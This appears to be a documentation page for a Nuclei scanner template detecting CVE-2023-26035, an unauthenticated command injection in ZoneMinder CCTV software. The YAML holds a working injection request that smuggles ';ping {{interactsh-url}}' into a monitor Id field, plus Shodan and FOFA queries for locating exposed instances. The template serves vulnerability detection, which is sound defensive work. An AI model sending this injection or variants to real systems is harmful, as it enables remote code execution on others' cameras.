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ZoneMinder Snapshots - Command Injection

ID: CVE-2023-26035

Severity: critical

Author: Unblvr1,whotwagner

Tags: cve,cve2023,rce,zoneminder,unauth,packetstorm

Description

Section titled “Description”

ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras.Versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution via Missing Authorization. There are no permissions check on the snapshot action, which expects an id to fetch an existing monitor but can be passed an object to create a new one instead. TriggerOn ends up calling shell_exec using the supplied Id.

YAML Source

Section titled “YAML Source”
id: CVE-2023-26035


info:
  name: ZoneMinder Snapshots - Command Injection
  author: Unblvr1,whotwagner
  severity: critical
  description: |
    ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras.Versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution via Missing Authorization. There are no permissions check on the snapshot action, which expects an id to fetch an existing monitor but can be passed an object to create a new one instead. TriggerOn ends up calling shell_exec using the supplied Id.
  remediation: This issue is fixed in This issue is fixed in versions 1.36.33 and 1.37.33.
  reference:
    - https://www.rapid7.com/db/modules/exploit/unix/webapp/zoneminder_snapshots/
    - https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr
    - https://packetstormsecurity.com/files/175675/ZoneMinder-Snapshots-Command-Injection.html
    - https://github.com/rvizx/CVE-2023-26035
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26035
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-26035
    cwe-id: CWE-862
    epss-score: 0.96928
    epss-percentile: 0.99718
    cpe: cpe:2.3:a:zoneminder:zoneminder:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: zoneminder
    product: zoneminder
    shodan-query:
      - html:"ZM - Login"
      - http.html:"zm - login"
    fofa-query: body="zm - login"
  tags: cve,cve2023,rce,zoneminder,unauth,packetstorm
flow: http(1) && http(2)


http:
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}


    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - csrfMagicToken = \"(key:[a-f0-9]{40},\d+)
        internal: true


  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        view=snapshot&action=create&monitor_ids[0][Id]=;ping+{{interactsh-url}}&__csrf_magic={{csrf_token}}


    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
# digest: 4a0a00473045022100b02a1a4197c5949dba17a281090db6059cf52417d948e1522f83f7a0c2d364ee02203930d92df326ba72ab008c15a8bb56e2a89ab4723e48996a0618de9e811ebfc6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-26035.yaml"

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